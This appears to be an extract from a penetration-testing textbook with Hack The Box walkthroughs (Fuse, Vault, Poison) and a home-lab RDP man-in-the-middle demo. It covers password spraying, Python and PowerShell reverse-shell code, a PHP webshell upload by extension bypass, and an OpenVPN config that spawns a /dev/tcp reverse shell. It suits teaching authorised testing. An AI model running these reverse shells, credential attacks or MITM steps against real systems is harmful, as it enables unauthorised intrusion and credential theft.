6 HASH: $6$72820166$U4DVzpcYxgw7MVVDGGvB2/H5lRistD5.Ah4upwENR5UtffLR4X4SxSzf
7 PASS: hashcat
Password cracking can operate in a number of different ways. The first and most basic is
to simply try every character combination in sequence. At the opposite end of the scale is to
use dictionaries of common passwords and/or common character combinations. As
variants of these two approaches, we can optimize the dictionaries by applying what we
hide01.ir
know about the password syntax rules and also information we may have gathered about
the target, personal details like hobbies and interests, dates of birth, where they work etc.
In terms of password syntax, we may know what the minimum and maximum numbers of
characters are, whether there needs to be a capital letter, special characters and numbers.
Armed with this knowledge, we can simply parse dictionaries like rockyou.txt with a tool like
grep. For example, if we wanted to get words that are between 8 and 9 characters long, we
could use:
egrep is an alias for grep -E which supports extended regular expressions. Regular
expressions are a set of patterns that will match text according to certain rules. In this
expression, the ^ matches the start of a string. The . matches any character and the {8,9}
will match characters 8 or 9 times. Finally, the $ matches the end of the word. We can make
this expression exclude words that have uppercase letters in them:
The expression [[:upper:]] matches uppercase letters and the ^ within the [] means 'not'.
The approach of taking a password list and refining it certainly makes the process of
cracking faster, provided the password you are looking for is in the list. However, even
though a person may use a common password, they will often change it by altering
numbers at the end, either a sequence or referring to a specific date for example. A fan of
the French soccer team may have the password France2018 representing one of the years
that France won the FIFA World Cup.
Once you have a wordlist, you can use tools to take the words and create different
combinations to create a more extensive list of passwords. One of these is Mentalist (git
clone https://github.com/sc0tfree/mentalist.git\) which allows you to take a wordlist and
then apply a chain of transformations that will do things like change case, substitute
numbers for letters and other substitutions (e.g. zero instead of the letter O, 3 instead of e, 5
instead of s) and to take things like zip or postal codes and other words and prepend or
postpend them to the word. You can either use this to generate a new dictionary to use for
cracking, or create a set of rules that can be directly used by John The Ripper or Hashcat.
We will go through an example of generating a custom word list in a moment, but first we
can turn to tools for testing passwords directly with an application online. This has become
much more challenging recently with improvements in applications that will lock users out
after a small number of failed login attempts. However, it can still work where these
protections have not been applied, websites with poor security practices, services that do
not have the means for password protections of this sort and devices like the Internet of
Things where again, password protection is not implemented by default.
We have already seen a number of tools that can be used to test usernames and
passwords for specific remote services. The most comprehensive of these is THC Hydra
(https://github.com/vanhauser-thc/thc-hydra\) which supports more than 50 different
protocols. The basic syntax of Hydra is illustrated in the examples printed out with the use
of hydra -h
<protocol> will be the type of service such as http, smb, ftp pop3. The port can be specified
in addition to the IP address although the default port will be used if this is omitted. Finally,
there is the ability to specify particular authentication variants as part of the protocol
specification.
Medusa is another tool, like hydra, which will allow the brute forcing of a range of different
services but it has been largely unmaintained since 2015.
Metasploit also has a number of scanners for services such as FTP, SMB and SSH that will
do brute force logins as well. There are also other tools such as Crackmapexec which
supports a few protocols such as SMB, HTTP and MSSQL (Microsoft SQL Server).
As we will see however, all of these tools respond differently to different settings and
protocols and so it is possible to get both false positives and negatives. Checking with
another tool is always a good idea.
In this exercise, we enumerate users and potential passwords from the public website of the
machine Fuse. We then use a few tools, including Kerbrute and CrackMapExec. Eventually
we get a username and password that allows us to gain remote access to the machine
using evil-winrm.
The OS discovery suggests that the box is a Windows Server 2016. The variety of ports like
DNS, LDAP and Kerberos suggest that it is an Active Directory domain controller with the
domain fabricorp.local. We can add this hostname to the /etc/hosts file. An interesting note
at this point is whether add the fabricorp.local DNS to the list of nameservers to query so
that any other subdomains would be accessible automatically. You can normally do this by
adding the entry nameserver <IP address> to the file /etc/resolv.conf. However, in this case,
the DNS returned the incorrect IP address for fabricorp.local and so this is not an option.
Enumerating the website it is apparent that the site is static HTML and so even if there was
a CVE related to this version of PaperCut, there would be nothing to exploit. Instead, we can
focus on the users that are listed with the print jobs:
1 pmerton
2 tlavel
3 sthompson
4 bhult
5 administrator
We can add these to a file users.txt and use a program kerbrute to check if these users exist
on the fabricorp.local domain.
Now that we have valid usernames, we need password candidates and a place to try them.
We are going to use CeWL to parse the website and generate a wordlist.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cewl -d 3 -m 8 --with-numbers -w fabricorp_wordlist.txt
3 http://fuse.fabricorp.local/papercut/logs/html/index.htm
4
5 CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)
We have specified a depth of 3 (-d 3) for the program to crawl, a minimum password length
of 8 (-m 8), we want words that contain numbers (--with-numbers) and an output file
fabricorp_wordlist.txt and the URL of the home page we want to crawl. This generates a
wordlist of the type:
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cat fabricorp_wordlist.txt
3 PaperCut
4 GRAYSCALE
5 papercut
6 sthompson
7 LONWK019
8 Document
9 Grayscale
hide01.ir
10 Software
11 Copyright
12 Location
13 NotepadLETTER
14 Language
15 printing
16 International
17 bnielson
18 LONWK015
19 mountain
20 Fabricorp01
We can't use Hydra with this machine. It will error out when trying to brute force SMB and if
you try SMB v2, after compiling a version with this support, it will not report the specific
SMB error we are looking for. To do that, we need to use crackmapexec which illustrates
that sometimes using a range of tools is a good option. Using crackmapexec, we get an
error for the user tlavel and password Fabricorp01 that the
STATUS_PASSWORD_MUST_CHANGE.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u users.txt -p fabricorp_wordlist.txt
3 SMB 10.129.2.5 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:F
4 (domain:fabricorp.local) (signing:True) (SMBv1:True)
5 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\pmerton:PaperCut STATUS_LOGON_
6 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:LONWK015 STATUS_LOGON_F
7 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:mountain STATUS_LOGON_F
8 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:Fabricorp01
9 STATUS_PASSWORD_MUST_CHANGE
An alternative to crackmapexec is medusa which can be used with the the user file (-U
users.txt), the password file (-P fabricorp_wordlist.txt) and the SMB NT module (-M smbnt).
This gives the following output:
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $medusa -h fuse.htb -U users.txt -P fabricorp_wordlist.txt -M smbnt
3 Medusa v2.2 [
4 http://www.foofus.net\
5 ] (C) JoMo-Kun / Foofus Networks <[email protected]>
6 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
7
hide01.ir
User: pmerton (1 of 5, 0 complete) Password: PaperCut (1 of 45 complet
8 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
9 User: pmerton (1 of 5, 0 complete) Password: GRAYSCALE (2 of 45 comple
10 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
11 User: pmerton (1 of 5, 0 complete) Password: papercut (3 of 45 complet
12 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
13 User: pmerton (1 of 5, 0 complete) Password: sthompson (4 of 45 comple
14 <SNIP>
15 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
16 User: tlavel (2 of 5, 1 complete) Password: Fabricorp01 (18 of 45 comp
17 ACCOUNT FOUND: [smbnt] Host: fuse.htb
18 User: tlavel Password: Fabricorp01
19 [SUCCESS (0x000224:STATUS_PASSWORD_MUST_CHANGE)]
20 <SNIP>
Whichever way you do it, the end result is that the password for tlavel, Fabricorp01 needs to
be reset. We can do this with smbpasswd:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $smbpasswd -U tlavel -r fabricorp.local
3 Old SMB password:
4 New SMB password:
5 Retype new SMB password:
6 Password changed for user tlavel
1 ┌─[rin@parrot]─[/opt/impacket]
2 └──╼ $crackmapexec smb fuse.htb -u tlavel -p Fabricorp02
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64
4 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
5 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\tlavel:Fabricorp02
The password gets reset every minute on this machine back to Fabricorp01 and so
whatever we do to test access, we need to do it straight after resetting the password. There
is also a password history kept and so each time the password is changed from
Fabricorp01, it needs to be changed to an entirely new password.
hide01.ir
We can do that and then log into the machine using rpcclient. Interestingly, rpcclient will
also report NT_STATUS_PASSWORD_MUST_CHANGE if we use the original Fabricorp01
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE
Using enumdomusers to enumerate the users on the box, we get an extended list of users:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 rpcclient $> enumdomusers
5 user:[Administrator] rid:[0x1f4]
6 user:[Guest] rid:[0x1f5]
7 user:[krbtgt] rid:[0x1f6]
8 user:[DefaultAccount] rid:[0x1f7]
9 user:[svc-print] rid:[0x450]
10 user:[bnielson] rid:[0x451]
11 user:[sthompson] rid:[0x641]
12 user:[tlavel] rid:[0x642]
13 user:[pmerton] rid:[0x643]
14 user:[svc-scan] rid:[0x645]
15 user:[bhult] rid:[0x1bbd]
16 user:[dandrews] rid:[0x1bbe]
17 user:[mberbatov] rid:[0x1db1]
18 user:[astein] rid:[0x1db2]
19 user:[dmuir] rid:[0x1db3]
20 rpcclient $>
We can collect all of the users and create a new users file with these users in it called
rpc_users.txt and then just extract the usernames with the command:
Back on rpcclient, we can look at printers that might be shared by using the enumprinters
command. This gives output which contains a password:
A password has been saved in the description $fab@s3Rv1ce$1 which we can test with the
users we enumerated earlier:
1 ┌─[oztechmuse@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u rpc_users.txt -p '$fab@s3Rv1ce$1'
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64
4 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
5 SMB 10.129.70.212 445 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$
6 STATUS_LOGON_FAILURE
7 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
We get a hit with the username svc-print which we can then use to get access with evil-
wrinrm:
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i fuse.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\svc-print\Documents>
hide01.ir
The user flag is in c:\Users\svc-print\Desktop\users.txt.
We will leave this here and come back to Fuse in a subsequent chapter where we cover
further enumeration for discovery and privilege escalation. Next however we are going to
explore custom exploitation as a means of gaining initial access.
hide01.ir
Shells
Although there are graphical user interface (GUI) based applications that perform a large
number of the functions involved in ethical hacking, you will end up spending a great deal
of time typing commands at a command line prompt in a “shell”. The shell itself is a
program that accepts commands to interact with the operating system of the computer and
other programs. There are a variety of shells with the two most common shells on Linux
being the Bourne shell or “sh” and the Bourne again shell “bash”. On Apple’s macOS the
default shell now in the terminal program is the “zsh”. On Windows, there are a variety of
command-line programs. There is the original command program “cmd.exe”,
“powershell.exe” which is the PowerShell interpreter and the Linux Terminal which
interfaces with the Windows Subsystem for Linux (WSL). Microsoft has also released an
Open Source Windows Terminal.
An important consideration for our purposes is the way shells handle input, output and
errors. All programs communicate over the communication channels, referred to as the
standard streams stdin (standard in), stdout (standard out) and stderr (standard error). As
with all things on Linux, these streams are treated as files and have a number that identifies
them, the file descriptor. In the case of the standard streams, the file descriptors (fd) are:
1 stdin 0
2 stdout 1
3 stderr 2
Theses streams can be redirected by using the “>” notation. For example, to redirect output
and error messages to a single file, you can use the command:
ls 2>&1 output.txt
Likewise, stdin can be redirected by using the “<” redirection symbol. A trivial example is
using “cat” to display the contents of a file hello.txt which contains “hello”
1 ┌─[✗]─[rin@parrot]─[~/]
2 └──╼ $cat < hello.txt
3 hello
hide01.ir
Other than being a convenience, the ability to redirect the standard streams becomes
important when trying to run a shell on a remote machine, something that is often the key
of gaining control over a machine. Since the standard streams can be redirected, they can
be redirected over network sockets that transport the data over a network. The idea is
depicted in the following diagram:
Principles of a remote shell redirecting stdin, stdout and stderror over a network socket
This entire process is made simpler through the use of a program called Netcat that can
handle the IO redirection for a program over a network. In what is called a “reverse shell”,
you start a Netcat session on a local machine to listen for incoming connections:
nc -lvnp 6001
This tells netcat to listen (-l) on port (-p) 6001 (any number port that is not being used) on
all IP addresses for incoming connections (-v is for verbose output, -n is for no DNS). On the
target machine, you can run:
This will execute bash and send all IO to the listening machine.
An alternative to reverse shells are “bind shells”. In this case the process listens on the
attacking machine and the attacker initiates the connection from the attacking machine.
The commands are the same but reversed.
hide01.ir
Netcat is one tool to create a reverse shell. There are numerous other ways of achieving the
same result of handling the standard streams. Another common and useful way of sending
a reverse shell is by using built in networking functions of bash.
Although this looks complicated, it is running a bash shell in interactive mode (-i) and
redirecting stdout and stderr (>&) to a socket that will connect to the address and port
specified (/dev/tcp/10.0.0.1/6001). The final redirection command (0>&1) redirects stdin to
the same file as stdout i.e. the socket.
At the other end, you can still use Netcat in listening mode to handle the incoming
connection.
There are a range of ways of running reverse shells in different languages listed on sites
like PayloadsAllTheThings[1]. An example of a reverse shell written in Python is
1 import socket,subprocess, os
2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3 s.connect(("10.0.0.1",6001))
4 os.dup2(s.fileno(),0)
5 os.dup2(s.fileno(),1)
6 os.dup2(s.fileno(),2)
7 p=subprocess.call(["/bin/bash","-i"])
The code essentially replicates the process of making the bash socket connection you saw
earlier. It creates a socket u and connects to the listener v. It redirects the stdin, stdout and
stderror to the socket w and then makes then runs the bash command x. It then gets all of
the standard streams using the socket and finally starts an interactive shell.
hide01.ir
The code essentially replicates the process you saw above with the bash socket
connection. It creates a socket and connects to the listener. It then gets all of the standard
streams using the socket and finally starts an interactive shell.
The principles of reverse shells work with Windows as well but you don’t have the ease of
having bash readily available. There are Windows' versions of Netcat and so it is possible
to do a reverse shell by simply specifying cmd.exe or powershell.exe as the command to
execute when using it. It is also possible, as in the Python example above, to run a reverse
shell written in PowerShell as follows:
1 New-Object System.Net.Sockets.TCPClient("10.0.0.1",6001)
2 $stream = $client.GetStream()
3 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
4 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byte
5 $sendback = (iex $data 2>&1 | Out-String )
6 $sendback2 = $sendback + "PS " + (pwd).Path + "> "
7 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
8 $stream.Write($sendbyte,0,$sendbyte.Length);
9 $stream.Flush()
10 }
11 $client.Close()
The script creates a socket to communicate with the attacker's listener u, creates a buffer to
read v from that socket which will be commands sent by the attacker w, executes the
commands sent by the attacker x and gets the response and then writes the response back
to the attacker y.
hide01.ir
As with all things Windows, this is slightly more complicated than the Linux versions but
functional, nonetheless. Another alternative is to use a “Meterpreter” shell that is designed
to work with the pentesting framework Metasploit which you will discuss shortly.
The shells obtained by the methods outlined sometimes are less than functional because
they do not result in a full ‘TTY’ terminal. TTY stands for teletype and is derived from the
early electromagnetic typewriters that were used in telegraphy and then to communicate
with mainframes and minicomputers. When you open a terminal on a Mac or on Linux, the
terminal software is running a pseudo teletype (PTY) which handles getting input from the
keyboard and passing it to a TTY driver which eventually passes that data to which ever
shell program you are running. The terminal handles things like arrow keys and key
sequences like "control + w" which will erase a word, "control + c" which will kill the last
command you ran. If you are not running a proper TTY, you won't be able to use arrow keys
and "CTL+c" will kill the shell you are running and not the last command. Also using an
editor like vi will be difficult.
As an added layer of protection, SSH private keys can be encrypted. John The Ripper will
extract a hash from the encrypted SSH key with a program called "sshng2john.py".
Another useful utility supported by SSH is "scp" a ssh file copying utility. To copy a file to a
remote machine you can use the command:
To copy the remote file to a local file, you just reverse the order of the file paths.
SSH Tunnels
SSH can be used to create an encrypted tunnel that supports port forwarding. There are two
types of port forwarding, local and remote. This can be confusing because local forwarding
forwards packets from a local port to a port on a remote machine. Remote port forwarding
is the opposite, taking packets for a port on a remote machine and forwarding them to a
port on the local machine. As an example, let us imagine that you have ssh'd onto a remote
machine that is behind a firewall that doesn't allow any traffic out. You would like to access
a web server on our local machine to be able to access file from the remote box. To do this,
you could use an SSH tunnel as:
hide01.ir
ssh -R 8000:127.0.0.1:8000 [email protected]
From the remote machine, you can now access the web server on the local machine by
using the URL http://127.0.0.1:8000. Of course, you would need to make sure that nothing
was running on port 8000 already on the remote machine.
The converse of this is where you would like to access a port on a remote machine that is
only available from that machine. In this case, you use SSH in the same was as before but
using the -L flag instead of -R.
From the local machine, you can access the remote server by once again using the URL
http://127.0.0.1:8000.
A tunnel can be created without actually logging into the machine (i.e. not running a shell)
by specifying the -N flag.
Specifying individual ports to forward works well when you are interested in a specific
target for this. There are situations however when there is more than one port that you
would like to forward, or indeed a range of ports. To do this you can use dynamic port
forwarding which works as a SOCKS proxy.
Once this is running, a SOCKS proxy can be configured in settings of the browser, or you
can use the application proxychains which allows any application that uses the network to
hide01.ir
send its commands over the SOCKS proxy you have established. For example, to curl a web
server running on the remote host on port 8000, you would use proxychains as:
Depending on the tool however, there is often built in support for proxying and so with curl
for example, the SOCKs proxy can be specified directly:
An nmap scan of the machine reveals SSH running on port 22 and HTTP running on port
80:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- vault.htb -oN Nmap/tcp-
3 <SNIP>
4 PORT STATE SERVICE VERSION
5 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.
6 <SNIP>
7 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8 | http-methods:
9 |_ Supported Methods: GET HEAD POST OPTIONS
10 |_http-server-header: Apache/2.4.18 (Ubuntu)
11 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
12 <SNIP>
13 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/directory-list-
3 <SNIP>
4 /login.php (Status: 200)
5 /admin.php (Status: 200)
6 /design (Status: 301)
And again, within the /design sub-directory, you find an additional directory
/design/uploads. Navigating to the http://vault.htb/sparklays/admin.php returns a login
page which doesn't return any errors or other feedback when testing out default
username/password combinations like admin/admin. Putting this request into Burp Suite
and changing the host header in the request to "localhost" however, you get redirected to
another php page " sparklays-local-admin-interface-0001.php" which presents the page
shown in Figure 3-2.
Clicking on "Server Settings" leads to a page under construction. "Design Settings" however,
returns a page that allows the logo to be changed. We can upload a PHP file that will give
us a reverse shell. There are webshells already installed on Parrot Sec OS located in the
directory /usr/share/webshells. We will use the PHP one:
/usr/share/webshells/php/php-reverse-shell.php
Copying this file to our working directory and renaming it reverse.php, we can try and
upload it using the logo upload feature. The upload function restricts the file types that can
be uploaded and so if you try and upload the PHP file you get an error returned saying
"sorry that file type is not allowed". However, if you change the extension of the file to
hide01.ir
another valid PHP extension "reverse.php5", that is allowed. Start a Netcat listener to catch
the reverse shell:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
http://vault.htb/sparklays/design/uploads/reverse.php5
This then returns a reverse shell which you can upgrade to a full TTY using the Python and
bash commands:
We now have initial access as the user www-data. Exploring the /home directories, you see
two users; "alex" and "dave". On exploring the "dave" directory, you find a sub-directory
"Desktop" that has files which contain ssh credentials for the user "dave":
1 www-data@ubuntu:/home/dave/Desktop$ ls -al
2 total 20
3 drwxr-xr-x 2 dave dave 4096 Sep 3 2018 .
4 drwxr-xr-x 18 dave dave 4096 Sep 3 2018 ..
5 -rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers
6 -rw-rw-r-- 1 alex alex 14 Jul 17 2018 key
7 -rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh
8 www-data@ubuntu:/home/dave/Desktop$ cat Servers
9 DNS + Configurator - 192.168.122.4
10 Firewall - 192.168.122.5
11 The Vault - x
12 www-data@ubuntu:/home/dave/Desktop$ cat key
13 itscominghome
hide01.ir
14 www-data@ubuntu:/home/dave/Desktop$ cat ssh
15 dave
16 Dav3therav3123
17 www-data@ubuntu:/home/dave/Desktop$
We can now login using ssh and the user dave and the password Dav3therav3123.
In the file Servers, it mentioned another machine at the IP address "192.168.122.4". you can
see from using the command "ifconfig" that the machine vault has 2 network interfaces
with the interface "virbr0" having the IP address 192.168.122.1. you can check what ports
might be on the machine with the IP address "192.168.122.4 by using Netcat:
The -v flag allows for verbose output and the -z flag does not connect to the port, it just
checks if it could connect. Using this, you see that ports 22 and 80 are open.
We can now do a local port forward to get access to port 80 on the box 192.168.122.4
1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $ssh -N -L 8081:192.168.122.4:80 [email protected]
3 [email protected]'s password:
This then allows us to navigate to the web site at http://127.0.0.1:8081 where you get links
related to DNS and VPN configuration (Figure 3-4).
Searching for OpenVPN configuration exploits, you find a blog post by Jacob Baines[2]
which gives a configuration for returning a reverse shell. Adapting this, you can paste the
following into the page, update the file and then click Test VPN.
1 Remote 192.168.122.1
2 nobind
3 dev tun
4 script-security 2
5 up "/bin/bash -c '/bin/bash -I > /dev/tcp/192.168.122.1/6002 0<&1 2>&1&'"
Rather than run the Netcat listener on the Vault machine however, you can use another SSH
remote port forwarder to tunnel the shell back to our local machine. To do this from an
existing SSH session, you can use the special characters ~C at the beginning of the
command prompt to drop into an SSH prompt and then set up the remote port forward:
hide01.ir
1 dave@ubuntu:~$
2 ssh> -R 6002:127.0.0.1:6002
3 Forwarding port.
4 dave@ubuntu:~$
Setting up the listener on the local machine will then give us a reverse shell on the DNS
machine as root.
1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6002
3 listening on [any] 6002 ...
4 connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56806
5 bash: cannot set terminal process group (1096): Inappropriate ioctl for de
6 bash: no job control in this shell
7 root@DNS:/var/www/html#
Looking around the box, you find that the ssh file in /home/dave has a password
dav3gerous567.
Looking at the /etc/hosts file, you see an entry for the vault machine:
The machine doesn’t respond to a ping but using nmap on the Vault machine, you find two
ports that are closed:
There is a possibility that this response is just poor firewall design and that the reason that
53 responded as closed was because the firewall may be letting anything that looks like
DNS traffic through to the box. You can re-run nmap but specify the source port as 53. This
gives an open port 987
Running netcat to connect to that port returns and SSH banner suggesting that you can
SSH onto that box.
There are a couple of ways of getting around the firewall restriction to get to the Vault
machine. The easiest however is to use Ipv6. In order to do that, you need to find the Ipv6
address of Vault. If you ping the Ipv6 broadcast address, the ping will go to all hosts on the
network connected to the "ens3" network interface:
From this, you get 4 responses. The first response from fe80::5054:ff:fe17:ab49 you know
is from the DNS machine as you can see its Ipv6 address using the ifconfig command.
hide01.ir
Using the nmap command, you can check which machine has port 987 open and you find
that it is the machine with the Ipv6 address fe80::5054:ff:fec6:7066.
Once on the box, you can see the root flag that is encrypted using GPG. You can use the
gpg application to get more information about the file and find that it has been encrypted
using an RSA key with the ID D1EB1F03.
1 dave@vault:~$ ls
2 root.txt.gpg
3 dave@vault:~$ gpg root.txt.gpg
4 gpg: directory `/home/dave/.gnupg' created
5 gpg: new configuration file `/home/dave/.gnupg/gpg.conf' created
6 gpg: WARNING: options in `/home/dave/.gnupg/gpg.conf' are not yet active d
7 gpg: keyring `/home/dave/.gnupg/secring.gpg' created
8 gpg: keyring `/home/dave/.gnupg/pubring.gpg' created
9 gpg: encrypted with RSA key, ID D1EB1F03
10 gpg: decryption failed: secret key not available
11 This key doesn't exist on the Vault machine but does on the ubuntu machine
12 dave@ubuntu:~$ gpg --list-keys
13 /home/dave/.gnupg/pubring.gpg
14 pub 4096R/0FDFBFE4 2018-07-24
15 uid avid <[email protected]>
16 sub 4096R/D1EB1F03 2018-07-24
We can use scp (SSH copy utility) to copy the file onto the DNS box and then onto the
ubuntu machine and decrypt using gpg and the passphrase "itscominghome" that you
found in the file called Key earlier.
hide01.ir
Remote Desktop Protocol
Remote Desktop Protocol (RDP) allows user to access their desktop from another machine
over a network using the RDP client. The RDP server listens on TCP and UDP port 3389 by
default. Users are permitted to use RDP are those in the Remote Desktop Users group. RDP
access is one way hackers will gain initial access to a machine if they have a user's
credentials. It can also be used to establish persistence, i.e. an easy way to regain access at
some later point. In this case, a new user can be created and added to the relevant groups
to allow remote desktop access.
RDP is also susceptible to man-in-the-middle attacks. Using software such as Seth[3]. When
Remote Desktop Connection connects through to a machine, it will throw up an error if there
is a problem with the TLS certificate. However, it does this with the default self-signed
certificate and users are normally used to just ignoring the warning and clicking through.
Another issue with man-in-the-middle is if RDP is configured to use Network Level
Authentication which Seth is not able to handle. In this scenario, Seth will still be able to
capture the plaintext password that was entered into the login screen for the RDP
connection, but the connection will then die.
There have been a number of exploits of RDP with the most significant recent exploit being
BlueKeep (CVE-2019-0708) which allowed remote code execution through RDP on Windows
7 and Windows Server 2008 machines.
RDP does not feature in Hack The Box machines, mainly because in the past, it would have
been hard to support the many users accessing RDP all at the same time on a VM.
However, this is an important technique in an attacker's arsenal and so MITRE for example
lists numerous malicious hacker groups as using it to gain access and for lateral
movement [4].
hide01.ir
Exercise: Using Seth in a Man-in-the-Middle
Attack
Hack The Box doesn't have any good examples of RDP exploitation and so to illustrate at
least one vulnerability, you will demonstrate how easy it is to get a person's password using
Seth.
For this demonstration, you have a Windows 10 box that is configured to accept remote
desktop connections as the target. You can use your Windows 10 Commando box if you
have set that up. The victim is a remote desktop connection client from any other machine
on the network, including the computer you are using to run the VMs on. The attacker
machine is our ParrotSec VM. The network is shown below.
When you run Seth on the attacker machine and then try and connect using the Remote
Desktop Client, you get this output:
1 ┌─[rin@parrot]─[/opt/Seth]
2 └──╼ $sudo ./seth.sh eth0 10.0.1.7 10.0.1.5 10.0.1.8
3 ███████╗███████╗████████╗██╗ ██╗
4 ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
5 ███████╗█████╗ ██║ ███████║ [email protected]
6 ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
7 ███████║███████╗ ██║ ██║ ██║ https://www.syss.de
8 ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
9 [*] Linux OS detected, using iptables as the netfilter interpreter
10
hide01.ir
[*] Spoofing arp replies...
11 [*] Turning on IP forwarding...
12 [*] Set iptables rules for SYN packets...
13 [*] Waiting for a SYN packet to the original destination...
14 [+] Got it! Original destination is 10.0.1.27
15 [*] Clone the x509 certificate of the original destination...
16 [*] Adjust iptables rules for all packets...
17 [*] Run RDP proxy...
18 Listening for new connection
19 Connection received from 10.0.1.5:61220
20 Warning: RC4 not available on client, attack might not work
21 Downgrading authentication options from 11 to 3
22 Listening for new connection
23 Enable SSL
24 Connection received from 10.0.1.5:61232
25 Warning: RC4 not available on client, attack might not work
26 Downgrading authentication options from 11 to 3
27 Listening for new connection
28 Enable SSL
29 Failed to extract keyboard layout information
30 rin:::afb99ab9d701d668:9511818e381cab338594796e923386ef:010100000000000007
31 Tamper with NTLM response
32 Downgrading CredSSP
33 Connection received from 10.0.1.5:61233
34 Warning: RC4 not available on client, attack might not work
35 Listening for new connection
36 Server enforces NLA; switching to 'fake server' mode
37 Enable SSL
38 Connection lost on enableSSL: [Errno 104] Connection reset by peer
39 Hiding forged protocol request from client
40 .\rin:S3cr3tP@55w0rd
41 [*]
In this scenario, Network Level Authentication had been configured and so Seth was not
able to complete the attack and the connection fails with an error. However, the plaintext
username and password are still obtained by the attacker. If the NLA requirement option is
switched off, the connection completes, and the user would not be any the wiser.
hide01.ir
VNC
VNC is an alternative to RDP that is platform independent. VNC uses the Remote Frame
Buffer protocol (RFB). It is usually configured to run on ports 5900+N were N is the display
number. Whilst RFB is not a secure protocol, VNC can be run through an SSH or VPN tunnel
making it secure.
VNC hasn't been the most robust of products and there are numerous serious vulnerabilities
in a range of different versions of the product.
VNC may require password but if used, it doesn't need a username. Metasploit has a VNC
login brute force module (auxiliary/scanner/vnc/vnc_login) and the command line
application hydra can also brute force VNC passwords. A VNC-enabled payload can be
created by msfvenom also:
Finally, meterpreter can launch a VNC session by running "run vnc" within a meterpreter
session.
hide01.ir
Exercise: Exploiting VNC for initial access in
Hack The Box machine Poison
An nmap scan shows that this machine is running FreeBSD and has port 22 (SSH) and port
80 (HTTP) open.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- poison.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
5 <SNIP>
6 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
10 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
11 Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Navigating to the website, there is a home page suggesting that various PHP files can be
tested (Figure 4-6).
Inputting one of the filenames listed results in the contents of that file being listed. If we
enter listfiles.php, the output is:
1 Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] =>
